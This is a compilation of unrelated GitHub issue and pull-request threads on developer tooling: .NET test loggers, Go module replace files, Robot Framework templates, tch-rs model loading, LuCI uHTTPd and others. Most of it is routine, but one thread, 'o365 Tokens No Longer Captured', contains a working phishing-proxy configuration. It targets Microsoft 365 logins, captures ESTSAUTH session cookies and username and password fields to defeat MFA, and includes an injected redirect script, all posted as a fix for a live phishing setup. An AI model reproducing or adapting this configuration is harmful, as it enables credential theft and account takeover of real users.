Re your comment: I thought we discussed trying to have error messages in the column they related to and having them below the preview row. Not a priority right now relative to maybe some other stuff but something worth considering. (It would be interesting to do some guerilla user testing here and see how people find it ...)

@rgrp there was definitely talk about messages in columns at some point, but there are some difficult UX issues there. In the current design, there is background highlighting on cells when we know it is a cell error, but this is not working all the time, because some errors are labeled as row errors. There is def. some UX work (and related changes in error data structures) we could do to take this from great to amazing when we get to do another round on it.

I've done a UX pass. Example:
http://goodtables.okfnlabs.org/reports?data_url=https%3A%2F%2Fwww.gov.uk%2Fgovernment%2Fuploads%2Fsystem%2Fuploads%2Fattachment_data%2Ffile%2F397571%2Fdwp-senior-post-data-sep-2014.csv&format=csv&encoding=&schema_url=https%3A%2F%2Fgithub.com%2Fdatagovuk%2Fschemas%2Fraw%2Fmaster%2Forganogram%2Forganogram-senior-staff-csv-schema.json
I addressed all issues in the marqueed image, albeit some are in a different manner. Also, I didn't add a preview of the JSON schema, but instead provided a link to it, similar to the data pipes link.

FIXED. New items in a separate issue.


Move endpoints.utils.Deepcopy into here

endpoints.utils.Deepcopy

probably into a copy.py module

https://github.com/Jaymon/datatypes/commit/8930a6832e2d341aa075545d7eb167f5bab42550


feat: bumping to new capsule version

Close #130

@alegrey91 reason for failing CI was due to a similar bug we had on Capsule with the Kind action which was missing some dependencies on the virtual machine image we're using ubuntu:latest.
Once fixed, the test cases were not aligned to the changes introduced with the latest API changes that occurred during the last commits, I'm referring to the /spec/namespaceOptions and /spec/ingressOptions.
And finally, updated also the README.md with the examples up to last v1beta1 changes, adding also the documentation for the PriorityClass resources I missed implementing.


Triggering the file comment

Describe the bug
The file comment should also trigger, when there is a a non-doxygen comment (like a legal disclaimer) before
See screencap:

Os: windows 10
VSCode: 1.62.3
Plugin: v1.3.2

Hi @KUGA2 ,
this is on purpose and IIRC this has been a problem with another bug before.
In the current version of the extension the legal disclaimer should be part of the custom section in the file order and then be generated by doxdocgen.

Ok. But We want the license header without doxygen marker (!) and with an empty newline in between. Is this possible?

The empty lines should be possible but the license without the doxygen line prefix isn't I'm afraid.


Disables Playback Hotkeys When Running

Spotify running, launch the applet. Can no longer use play/pause keyboard keys and instead must the Spotify interface.

My media key no longer work at all after upgrading to Windows 10.
We have recently landed a change to add skip and play/pause functionality to the soft 2-4 keys.

I've found in Windows 7 that the track skip keys don't work while you are running explorer.exe. Though this is an issue with the OS.

I'm going to close this. No movement on the issue and I no longer use this applet.


Updated the workflows to include PR number

@dinogun - Yes, I see it being referenced in stress and fault tolerant test too. I will update it.


dotnet test on a multi-target projects logs only the last target

Description
dotnet test "--logger:trx;LogFileName=results.trx" on a multi-target project (e.g. <TargetFrameworks>netcoreapp2.0;net45</TargetFrameworks> in the .csproj) causes the logger to only log the last target. Possibly because the previous targets' logger output file is overwritten by subsequent targets. FYI, this also happens with the nunit logger extension.
Steps to reproduce
dotnet test "--logger:trx;LogFileName=results.trx"
Expected behavior
Either generate as many .trx files as there are targets (e.g. results.net45.trx, results.netcoreapp2.0.trx) OR assemble the results into the single .trx (if file format allows for it). Perhaps the user can pick a behavior.
Actual behavior
Only a single results.trx is created and it's contents only hold the results of the last target framework in the .csproj.
Environment
In case it matters, our multi-target project uses nunit 3.9 with the the following inside it's .csproj
<PackageReference Include="NUnit" Version="3.9.0" />
<PackageReference Include="NUnit3TestAdapter" Version="3.9.0" />
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="15.3.0" />
<PackageReference Include="NunitXml.TestLogger" Version="1.1.0" />

that last bit is so we can also do dotnet test --logger:"nunit;LogFilePath=results.xml" since our CI can use either trx or nunit xml - but that also fails similarly.
OS: Windows 10 v1803
.NET SDK: dotnet --version shows 2.1.0
Not sure if/how dotnet test wraps over vstest but this is vstest.console.exe
C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\CommonExtensions\Microsoft\TestWindow>vstest.console.exe
Microsoft (R) Test Execution Command Line Tool Version 15.7.1
Copyright (c) Microsoft Corporation.  All rights reserved.

Any news?

Any news? Seems awfully similar to this https://github.com/Microsoft/vstest/issues/243

Note that running just dotnet test "--logger:trx" causes it to generate unique filenames in a pattern like <username>_<machine>_YYYY-MM-DD_HH_MM_SS.trx but that's distinct from the reported problem.

@sidshetye Thanks for the feedback. This does not seem to be a regression.
@pvlakshm What do you think the spec should be for this one?

Merged: https://github.com/Microsoft/vstest/pull/1877

Please reopen, since the fix for this has been reverted.

@SidShetye @StephenCleary We are revisiting the scenario and would appreciate your inputs on the spec. Here is the RFC I have posted. Let me know if there are any concerns.

The fix for this has been released. https://www.nuget.org/packages/Microsoft.TestPlatform/16.3.0-preview-20190828-03
We advice folks to use LogFilePrefix argument instead.


Eth RPC signing metrics

Add signing metrics for the Ethereum RPCs.

Closing as EthSigner did not have signing metrics for the RPCs


[Event Request] Table 37 - OnBeforeUpdatePrepmtSetupFields

Please extend the Event with CurrFieldNo
OnBeforeUpdatePrepmtSetupFields(Rec,IsHandled,CurrFieldNo);

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.


Allow integration tests to run on different Ruby docker images

gcloud SDK currently has a feature to deploy GAE apps on base docker image with the customized tag defined in GAE_RUBY_BASE_IMAGE_TAG. This feature allows us to run the GAE integration tests from this repo to validate staging docker images. This PR enables the same flexibility for GKE integration tests.
To test the changes, run GAE_RUBY_BASE_IMAGE_TAG=staging bundle exec rake integration:gke. The first step of building the docker image should say pulling from gcr.io/google_appengine/ruby:staging instead of the latest image. Currently the staging docker image is same version as the latest, so all the GKE integration tests should pass.

@dazuma please review

The environment variable name GAE_RUBY_BASE_IMAGE_TAG is from gcloud SDK. Even though it doesn't resonate as well in the GKE integration workflow, but I think it's nice to reuse the same variable instead of creating a new one.


Refactor into service and controllers for testing purposes

Testing the application would benefit of having the code split up in services and controllers.
This way, tests would no longer need to mock req, res, next when calling the actual methods that need to be tested.
They would call the methods with proper, related params.
example:

New backend scaffold is merged into main, new stories will be opened for separate parts of backend


Enhance cloud-init execution output

Is your feature request related to a problem? Please describe.
When having errors in parsing cloud-init file, it's hard to tell which files have issues. For example, from the following output:
ERRO[0000] fatal error: 1 error occurred:
	* yaml: line 8: did not find expected key

It's hard to tell which is the file causing the error
Describe the solution you'd like
A more informative output, including the file which is failing to load
Describe alternatives you've considered

Additional context

@ibuildthecloud Can we get an example of the file you were testing that fails so I can reproduce it?


Increase wait milliseconds

Tests were failing both in master and locally. By increasing the wait time it seems to be fixed, but I don't really know why they were failing.

It looks like browser tests work fine, although that pesky 1) /timerange from e2e is annoying us again


cmd/go: allow go.mod to import a pre-defined replace definitions file

I have a project where I'm using various local modules using following syntax:
module private/hello

go 1.14

replace private/cli => /mnt/data/data/go/src/private/cli
replace private/customutil => /mnt/data/data/go/src/private/customutil
replace private/postgresdb => /mnt/data/data/go/src/private/postgresdb
replace private/logger => /mnt/data/data/go/src/private/logger
...
...
...

If I have to add a new dependency to the project then I have to open each and every package and manually edit the go.mod file and run go mod tidy to fetch new dependencies.
The common problem while working with multiple local modules is that, we need to constantly add, remove or update replace definitions.
This can be improved by allowing go mod to import replace definitions from a pre-defined file
for example:
module private/hello

go 1.14

replace_definitons /home/coder/replace_definitions.mod
...
...

This way we can re-use existing replace definitions across various local projects without creating a separate git server.
Using this method if we made changes to one replace definition file then those changes will reflect on all local modules that import this file.
If we have un-used replace definitions, then go mod tidy does not make use of them, so it is safe to have un-used definitions that will soon be used while doing local development.
I also noticed that if a module has updated and correct replace definitions, but imports another module that has old and incorrect replace definition, then go mod tidy fails.
With import definitions method we can can make sure that all local modules have updated and correct replace definitions.

I noticed that there is yet another proposal that recommends the use of go.local.mod file for defining replace definitions that will only be used for local development. It also makes it easy to exclude files that should not be commited to a git server.
https://github.com/golang/go/issues/26640
We can combine both mechanisms,
using go.local.mod + importing replace definitions into go.local.mod from an existing file
which I mentioned in above issue.
This way git repository won't have unnecessary commits, plus we will be able to specify replace definitions in one local file and changes will be reflected in all local modules that import this file.
This will ease the development flow while working on multiple modules simultaneously that depend on each other and require constant updates to replace definitions. We can make changes to one replace definitions file and changes will reflect on all local modules.

This is just a suggestion, we can come up with better ways for re-importirg existing replace defintions.
Let me know what you think.

Personally, I would rather we support a separate per-user or per-module file (as in #26640) rather than define some kind of import mechanism. (go.mod files already have replace as a sort of import mechanism, but of course that doesn't import the replacements.)
CC @jayconrod @matloob

Hello, Thanks for the links.
We can combine both mechanisms,
using go.local.mod + importing replace definitions into go.local.mod from an existing file
which I mentioned in above issue.
This way git repository won't have unnecessary commits, plus we will be able to specify replace definitions in one local file and changes will be reflected in all local modules that import this file.
This will ease the development flow while working on multiple modules simultaneously that depend on each other and require constant updates to replace definitions. We can make changes to one replace definitions file and changes will reflect on all local modules.
I have updated above issue to consider how it might work with go.local.mod file.

The motivating usecases should be covered by go.work


Foliumfix

This resolves #994 & adds handling for geopandas dataframes.

Coverage remained the same at 83.769% when pulling 44c70744ed05601391a4b9df4bdb62201f078e0b on ljwolf:foliumfix into 2470792d542cf89a2f4105be97f8d6ed2292dd81 on pysal:master.


Add category term mapping and more descriptive text for terms

https://issues.newrelic.com/browse/NR-85162
This PR adds extra context for users in the CONTRIBUTING.md doc to advise contributors to include category terms, and links to a query mapping category term display names to values.
Other doc updates will be made in marketplace repo describing the changes for quickstarts in add data

LGTM 👍 It's interesting that we spell it catalogue in all these docs but it's catalog throughout the codebase 😆

this was not lost on me either :D

I think we should add some documentation to the quickstart field about how keywords can be used and mapped to certain category terms.
The quickstarts themselves have category terms that we correlate to the keywords that a user submits. So if the user wants a certain quickstart to appear under a certain category, their quickstart must have certain keywords attached to it.


Allow templetizing a Keyword within Test Case than whole of test case

There should be a provision to  templatize a Robot Keyword than a whole test case using [Template]
syntax.
As there are test steps which need to be repeated with arguments, but not the whole test case.
Example:
A resource file creates a Keyword in keywords.robot :
*** Keywords ***
Do Something
  [Arguments]    ${arg1}   ${arg2}
  Print args    ${arg1}   ${arg2}

A Robot test case file imports this resource and uses above keyword as:
*** Settings ***
Resource keywords.robot
*** Test cases ***
Some test case
   Execute test step 1
   Execute test step 2
   Execute test step 3
   #Now use the Keyword defined in resource file with [Template]
   Do Something
   [Template]
    1   2
    3   4

   Execute test step 4

This way, I can use Keyword "Do Something" with data driven arguments in other test cases as well.
This is a requirement arised when I was automating a UI flow, where UI allows creating a user and allows him multiple Admin Roles like System admin, Role Admin, User Admin etc. which needs to be selected differently for different users.
Having above feature would ease the programming in RF.
Thanks
Vivek

I don't see much benefits in having tests that contain both workflow and data-driven parts. In your example it would be easy to create a test setup that does the needed pre-condition steps and use the currently supported data-driven approach to define the actual test case. If you'd rather want to use the workflow approach, you could just call the needed keyword few times explicitly like
Do Something    1    2
Do Something    3    4

Another problem with this proposal is that it would either require some new syntax or would change the current template usage in backwards incompatible manner. Both can only be considered if there are really big benefits otherwise.


Update .travis.yml

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@90d29c4). Click here to learn what that means.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             master   #120   +/-   ##
=======================================
  Coverage          ?     0%
  Complexity        ?     76
=======================================
  Files             ?      9
  Lines             ?    242
  Branches          ?      0
=======================================
  Hits              ?      0
  Misses            ?    242
  Partials          ?      0

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 90d29c4...e55336a. Read the comment docs.


Not getting thumbnail of video in jellybean version

I am running this code in jellybean version 4.1.2 supported device,but not able to get thumbnail of video. please fix this issue.

Please provide a stacktrace


feat(client): adapt openaAPI "deleteBranch"

Pull Request Test Coverage Report for Build 881112564

1 of 3 (33.33%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.03%) to 81.613%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

tensorbay/client/dataset.py
1
3
33.33%

Totals

Change from base Build 878579213:
-0.03%

Covered Lines:
4301

Relevant Lines:
5270

💛  - Coveralls


Theta fix and cleanup

fixed union base (I think this bug could lead to slightly incorrect results in rare circumstances)
minor cleanup and slight performance improvement

Pull Request Test Coverage Report for Build 877061544

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 92.94%

Totals

Change from base Build 858631285:
0.0%

Covered Lines:
2159

Relevant Lines:
2323

💛  - Coveralls


Error loading .pt model file with yolov3

yolov3 reports the following error when loading a .pt model file.
Error: Internal torch error: `torch::jit::load()` received a file from `torch.save()`, but `torch::jit::load()` can only load files produced by `torch.jit.save()`
Exception raised from load at ../torch/csrc/jit/serialization/import.cpp:347 (most recent call first):
frame #0: c10::Error::Error(c10::SourceLocation, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) + 0x69 (0x7f76539d3b89 in /home/gmg/projects/pytorch_test/target/release/build/torch-sys-f71449291ff55316/out/libtorch/libtorch/lib/libc10.so)
frame #1: torch::jit::load(std::unique_ptr<caffe2::serialize::ReadAdapterInterface, std::default_delete<caffe2::serialize::ReadAdapterInterface> >, c10::optional<c10::Device>, std::unordered_map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::hash<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::equal_to<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >&) + 0x2ed (0x7f7656ce0f4d in /home/gmg/projects/pytorch_test/target/release/build/torch-sys-f71449291ff55316/out/libtorch/libtorch/lib/libtorch_cpu.so)
frame #2: torch::jit::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, c10::optional<c10::Device>, std::unordered_map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::hash<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::equal_to<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >&) + 0x75 (0x7f7656ce3735 in /home/gmg/projects/pytorch_test/target/release/build/torch-sys-f71449291ff55316/out/libtorch/libtorch/lib/libtorch_cpu.so)
frame #3: <unknown function> + 0x3c509 (0x55a58643b509 in target/release/pytorch_test)
frame #4: <unknown function> + 0x15433 (0x55a586414433 in target/release/pytorch_test)
frame #5: <unknown function> + 0x14849 (0x55a586413849 in target/release/pytorch_test)
frame #6: <unknown function> + 0x14133 (0x55a586413133 in target/release/pytorch_test)
frame #7: <unknown function> + 0x1414d (0x55a58641314d in target/release/pytorch_test)
frame #8: <unknown function> + 0x5b027 (0x55a58645a027 in target/release/pytorch_test)
frame #9: <unknown function> + 0x14c72 (0x55a586413c72 in target/release/pytorch_test)
frame #10: __libc_start_main + 0xf2 (0x7f765375f152 in /lib64/libc.so.6)
frame #11: <unknown function> + 0x13afe (0x55a586412afe in target/release/pytorch_test)

It's a bit unclear what you're trying to run here and how the .pt file was generated.

If you're trying to save a model from python and load it from rust, check this tutorial.
If you're trying to use the yolo-v3 example from this repo, you should try using this weights ot file.

Hello, the model is trained using yolov3, and the same error will still be reported when loading the model using jit.
In addition, is it possible to convert .pt to .ot format?

Sorry it's still unclear to me what you're trying to run. Maybe you should put some steps to reproduce the issue?
Also note that the error message properly mentions that models saved with torch.save are not supported, only jit models can be supported (see the tutorial linked earlier in this thread for more details).

Closing as no activity in the last couple months, feel free to re-open if this is still a problem.

Closing as no activity in the last couple months, feel free to re-open if this is still a problem.

Sorry to open this issue, but i think it's about loading a custom yolo model, in the example it's been told to use this weight https://github.com/LaurentMazare/tch-rs/blob/48aa3003d22bfb09c13b64fa17b69e23112f1c4c/examples/yolo/main.rs#L2 but how would one use their own trained yolo model? is there any steps required to make our custom yolo model works? if so, please tell because that will be super helpful

You can find some example of exporting the weights from a model trained in Python so that they can be used on the Rust side here. This is what gets used for computer vision models but it should generalize well to any model kind and just require the "paths" to the different weight tensors to match between Rust and Python.


update the README.md,correct the file position of bizdemo

What type of PR is this?

What this PR does / why we need it (English/Chinese):

Which issue(s) this PR fixes:

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.Julia seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.

need sign cla

不好意思，之前没搞清楚流程，已签cla

LGTM


Add in terraform package

This package relies on updating the go package first to support globbing of go.mod files across directories. Once Brioche Issue 79 is completed we can then update the go package for issue number #62

I fixed the build now that #62 has been resolved! This should be good to merge now


Add collaborators to this repo

Comment below to be added as a collaborator
We will all be using this repository today. Even though it's public right now, you will not be able to make changes until you're given the correct permissions. We've automated this process via the GitHub API. Once you comment, we will add you as a collaborator.
You'll start to receive a lot of emails. (❗) You can slow these down immediately by clicking the Unwatch button at the top of the page and selecting either the Participating and @mentions or Ignore option.

Hi

Hello from Charlotte

😎

Hi from Mal

Hi

hi from Sachin

Hello from Stelios

Hello

Hello!

Hello

Hi

hi

Hi

hello

Hello there


ssh-ing to instances from jumpbox

Hi,
I'm able to get to the jumpbox ok, but I can't figure out how to ssh to instances from the jumpbox. I checked the documentation, and I can't find an example of how to do this? Tried various usernames etc, and can't get it to work.
Thanks,
Robert

I am having the same issue. To work around it I added the network tag (for port 22) on the instance I want to ssh to. However, I am not able to use BOSH or any other tools. So, I would love to know about the proper way to ssh to the ops manager with the relevant user so that I can use bosh cli and other cloud foundry related commands.

I'm curious about this as well, since I'd like to access Ops Man to do some things with Cred Hub.  There haven't been any comments on this since November 5, so is it a non-issue for most folks?  Could someone offer a breadcrumb ;-)

This doesn't solve the problem, but I was able to use eval util/target_bosh.sh script to set up my environment and then I could bosh ssh into instances. This requires the openBSD version of netcat to work (see https://github.com/cloudfoundry/bosh-cli/issues/328) This doesn't solve @gzussa 's use case.
Another thing to check are the SSH keys in the GCE metadata section. In theory, a project wide SSH key should be able to ssh in to each machine.

Thanks, @mattysweeps.  I'll check my SSH keys and try again, and the bosh ssh route makes sense as a fallback.

@mattysweeps What do you think is the best was to use bosh on the VM? How do you set it up?


Themed macrobar alignment issue

The themed macrobar is kicking the expanded rows from Monk's Hotbar Expansion to the left. It used to line up correctly and still does if the theme is removed from the macrobar so I figured it was worth mentioning :P
It has a left: -32px adjustment in the CSS

Solved in next version, along with other tweaks to monk's macro bar


Check whether the job finishes before deferring the task for BigQueryIntervalCheckOperatorAsync

Like the SnowflakeOperatorAsync, we try to verify if the submitted job has already completed before deferring it to prevent unnecessary deferring. This way, we can skip deferring the task if it has already been finished.


hours issue on same date

It doesn't work for me when the date is the same but just hours are different

Please, provide a JSFiddle for proper feedback

This is the snapshot that i wrote in c#.

What's the expected output? By analyzing you code the output will be 24:00:00?
Take a time to notice that the event.offset.hours should return the hours left to the next day.
Fortunately the version 2.2.0 we introduced the totalHours - %I directive, that I believe is just the case you are searching:
$(this).text(event.strftime("%I:%M:%S"));

If you just want to fix your code, just correct the math of the var totalHours = ...

Final Time: 2016/08/08 11:21:05
Current TIme: 2016/08/08 08:21:05
See the difference is only in the hours.
This shows 00:00:00 in the countdown div

But when I add a day to the final date then the countdown starts

https://jsfiddle.net/

I was pulling my hair with similar problem you have. My advice MAKE SURE that month is correct. I was using Moment.js to calculate dates and it's getMonth() method was zero based thus when I concatenated the strings together to a date it was for previous month so I had to add 1 to (a zero based) month returned from current date.

Yeah I had the same issue and i solved it by then....
Anyway thanks for posting as i it might help someone...
Ashraf Ali

On Oct 14, 2016, at 2:54 AM, Sašo Miocinovic<EMAIL_ADDRESS>wrote:
I was pulling my hair with similar problem you have. My advice MAKE SURE that month is correct. I was using Moment.js to calculate dates and it's getMonth() method was zero based thus when I concatenated the strings together to a date it was for previous month so I had to add 1 to (a zero based) month returned from current date.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or mute the thread.


o365 Tokens No Longer Captured

I have been successfully the o365 phishlet for a few weeks, an issue started this morning where it will not longer capture tokens for MFA. I can still get the username/password just fine but the tokens no longer work.

I had the same, also the redirect url didn't work anymore.
After some debugging i came with this:
`proxy_hosts:

{phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true}
{phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: false, is_landing:false}

The lines below are needed if your target organization utilizes ADFS.
If they do, you need to uncomment all following lines that contain <...>
To get the correct ADFS subdomain, test the web login manually and check where you are redirected.
Assuming you get redirected to adfs.example.com, the placeholders need to be filled out as followed:
 = adfs
 = example.com
 = adfs.example.com
#- {phish_sub: 'adfs', orig_sub: '', domain: '', session: true, is_landing:false}
#- {phish_sub: 'adfs', orig_sub: '', domain: ':443', session: true, is_landing:false}
sub_filters:

{triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'applicati$
{triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'a$

Uncomment and fill in if your target organization utilizes ADFS
#- {triggers_on: '', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/j$
auth_tokens:

domain: '.login.microsoftonline.com'
keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
domain: 'login.microsoftonline.com'
keys: ['SignInStateCookie']

Fix for tokens
auth_urls:

'/kmsi*'
credentials:
username:
key: '(login|UserName)'
search: '(.)'
type: 'post'
password:
key: '(passwd|Password)'
search: '(.)'
type: 'post'
login:
domain: 'login.microsoftonline.com'
path: '/'

JS Inject Redirect
js_inject:

trigger_domains: ["www.register.haaaglandenmc.nl"]
trigger_paths: ["/"]
script: |
function gimmesleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function redir() {
await gimmesleep(2000);
window.location.href = "{rurl}";
}
redir()

`


Exra coding appears in the Ongoing Request title

Describe the bug
There's extra code in the Ongoing Request title
To Reproduce
Steps to reproduce the behavior:

Go to 'https://reach4help-staging-web-client.firebaseapp.com/requests/ongoing'
See the title

Expected behavior
It should only be "Ongoing Requests"
Screenshots

Desktop (please complete the following information):

OS: W10 Pro
Browser Chrome
Version 83.0.4103.97

ZenHub Information
This information is updated automatically. To modify it, please use ZenHub.

Fixed, closing.


Remove dotnet feed

@pranavkm @victorhurdugaci

:shipit:

Looks good. Wait for the checks to pass and :shipit:


Typo

This sentence has a typo that makes it confusing: "Because both languages use garbage collection, there is way to explicitly release unused objects" ("there is way"? should it be "there is NO way"?)

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: cbb2ed12-d9b5-ea5c-9575-bf57bf19fc4e
Version Independent ID: 0fdfc765-e358-a9bb-3289-680170e9570b
Content: Xamarin for Java Developers - Xamarin
Content Source: docs/android/get-started/java-developers.md
Product: xamarin
Technology: xamarin-android
GitHub Login: @conceptdev
Microsoft Alias: crdun

Thanks for the feedback @mlamothe - you are probably right; I'll check in with the engineering team and then update as appropriate.


luci-app-uhttpd: Fix certificate configuration and improve strings

Sorry for the noise on updating the translations with the new msgids, but I don't know how else to do this. At least they are in source-code order now…
Explanation of each patch:

Without this patch the uHTTPd Self-signed Certificate Parameters section towards the bottom of the page is missing and it is not possible to generate any certificates with reasonable values
Bump default key size to 2048 (which took about 8 seconds to generate on my TP-Link Archer C5 v1), and set the lower key size limit to 1536 bits, which is the absolute lower limit to using RSA TLS securely
Update many source translation strings to improve consistancy and readablity
Add German translation

Generate current pot from sourcecode:
./build/i18n-scan.pl applications/luci-app-uhttpd > applications/luci-app-uhttpd/po/templates/uhttpd.pot

Sync po for each languages with pot:
./build/i18n-update.pl applications/luci-app-uhttpd/po

or sync po/pot for all luci-app or luci-modules:
./build/i18n-sync.sh

Thanks for your input. Looks like the uhttpd config section rename in late 2016 by https://github.com/lede-project/source/commit/eb75b6ac1f0a3318e9a5f147a6c6a46e1eda0caf broke the parameter section in LuCI. Nice catch.
I have manually cherry-picked two of your commits and applied them to the master:

the parameter section fix as https://github.com/openwrt/luci/commit/ab6485693834f7f66ff280d08abeec6e68265783
the default parameter fixes as https://github.com/openwrt/luci/commit/ac8a957191e49b186fcebfa23a2b54e6f7a2f9db
I modified the commit to leave the old minimum of 1024 bits for lowest-end devices.

I also backported the fixes to 17.01 branch.
You need to clean the translation part, like musashino already suggested. Extra comments are unwanted and will be cleaned away latest at the next "i18n-sync.pl" run, so please do not add them.
Please re-submit the translation part, either rebasing and force-pushing this PR, or by making a new PR for the translation stuff.
Ps. While cleaning the translation part, you might also add a helpful note that the RFC1918 option only applies to IPv4 but to to IPv6. See info at https://github.com/openwrt/luci/issues/1176

@alexander255 I tried to rebuild 1ea21b1ef99f1eda1e7669c36f47db62b8552f4c and 92eb7c6e956818a7e1209baf2e13b1cb99e0a441 in my environment. For your reference.
Comparing openwrt:master...musashino205:uhttpd-ui

Please rebase your changes

No reaction from pull request creator


Coverage-based fuzzing for transaction processing, (de)serialization

Motivation

We currently test transaction (de)serialization and processing to a degree with structured property-based testing and unit testing. Structured proptests utilize test data that is correct, up to a point. While this is useful testing, we do want to cover more edge cases and abstraction/assumption mismatches.
Solution

We'd like to set up a coverage-based fuzzing harness to exercise transaction (de)serialization and processing. Fuzzing helps find logic and correctness bugs, even in a memory-safe language like Rust.
cargo-fuzz is the defacto standard tool, it wraps libFuzzer and has support for other fuzzing libraries, and builds well into a cargo crate/workspace.
They have a handy book to get started. There is also recent support for something closer to proptests, with structure-aware fuzzing.
auto-fuzz-test exists, but may collide with our use of proptest::Arbitrary or make code difficult to parse for humans.
We should at least:

[ ] Have a test harness for shoving random bytes into Transaction implementations of ZcashDeserialize, From, etc

We can run this coverage are purely part of our CI, or we can consider integrating our fuzzing harnesses into oss-fuzz, for free, continuous fuzzing.
Alternatives
Keep pushing non-coverage-guided random data though code paths with our proptest framework. This may get us less bang for our buck.
Related Work
Merging the coverage data from coverage-based fuzzing with the rest of our test coverage data is possible, as they use the same llvm internals under the hood, ~but may be annoying~ should be easy with CodeCov, could be considered out of scope for this ticket.

This isn't on our forward planning lists, we can re-open it if it is.


Allow FileChannelTable to work with files larger than Integer.MAX_VALUE

Table's constructor had a precondition check to assert that the SSTable file size is <= Integer.MAX_VALUE. This change moves this check to MMapTable, as the check is only required there, for memory-mapping the file.
In this way, one can use the FileChannelTable subclass of Table for files with sizes larger than Integer.MAX_VALUE.

Merged, thanks!


Make --cloud a global parameter for all commands

This feature request is similar to issue #5618 where a global --subscription parameter was added but request a global --cloud argument.  I'm adapting that request and borrowing heavily from it's text.
The current CLI currently requires this workflow:
# set cloud
az cloud set --name <cloud_name>

# do az stuff in that sub
az acs login --name ...

This makes it very unfriendly and dangerous for scripts and interactive use.
Consider:
Long running script sets curernt sub to SubProduction, then does some azure commands.
In the meantime user from the terminal, is thinking the commands execute against SubDev issues "delete resource group MyApp". OOPS.
If we had --cloud as a global flag, we could have all scripts use that and not interfere with each other.
I'd like a solution where --cloud could be added as a global flag so multiple commands could be run from a machine to simultaneously deploy to multiple clouds/regions.

This is a valid ask. I suggest we can live with this though. Using multi clouds at the same time is rather rare; while it is way more mainline on using multiple subscriptions at the same time e.g. image reference, vnet peering, resource moving etc, hence we supported the "--subscription" based on the user asks.
@brichins thanks for reporting this though


fix(just): Alias just to ujust, to avoid non-working just command

Useful for people who just type just instead of ujust.

Forgot about what ujust wrapper actually does, I thought it only enforces bash if other shell is installed, so I'll close this.
I may reopen If I find the better solution to solve this.
/usr/bin/just --justfile /usr/share/ublue-os/justfile "${@}"

Improved the logic to mitigate the scenario above & reopened

Just found out that zsh doesn't support exporting functions.
Will try to see how to mitigate this.

Closing, because it won't work with zsh & due to this being a hack, rather than a proper fix.


CSS

CSS
User Story
As a bootcamp student
I want the prework notes to be structured on a webpage
so that I can easily find and read information
Acceptance Criteria
GIVEN a Prework Study Guide website
WHEN I visit the website in my browser
THEN I see four boxes titled HTML, CSS, Git, and Javascript with associated notes listed

CSS was easier, because it was second


/lootr custom

In the 1.19 version of fabric the /lootr custom command only works for chest and it would be really nice if it could also be implemented for barrels.
Sincerely,
Teddy

This has been resolved for Fabric. I haven't ported it over to Forge but it's not a huge priority unless more people begin asking for it.


Tree nodes do not have dots for expanding and retracting

It seems the current version has the subject error.

Which Browser? I think this is an edge/IE issue

Firefox 55.03 (the latest) has the problem. Chrome does not.

Its also present on Egde, although in the example from blocks ;
https://bl.ocks.org/mbostock/4339083
It works nicely in Egde (have not tested on Firefox), both d3tree and the blocks example work in Chrome

It is really weird, https://bl.ocks.org/mbostock/4339083 works with dots in Firefox, but d3tree example not.
May be the referenced app uses previous version d3tree?

@Claus1 you are absolutely right

Corrected by PR #13


feature request: software list support

Hi
Is it possible to add software list support?
It could work like this:

double click a machine like Atari 2600
a new window with all supported software list games opens
you can run the games in this new window

Dupe.

Can you explain what "Dupe" means in response to my GREAT feature???

Regardless of it being a dupe or not, this is not something that I would pursue.
IV/Play was built over 10 years ago, and needs some major rework before any sort of features could be done. We're currently in maintenance mode.
If you'd like to see software list support in IV/Play you are welcome to submit a PR with the feature.


why does it not work with my HM note2 phone ?

when I shake or reloadJs , only awake menu.

Do you have adb installed?
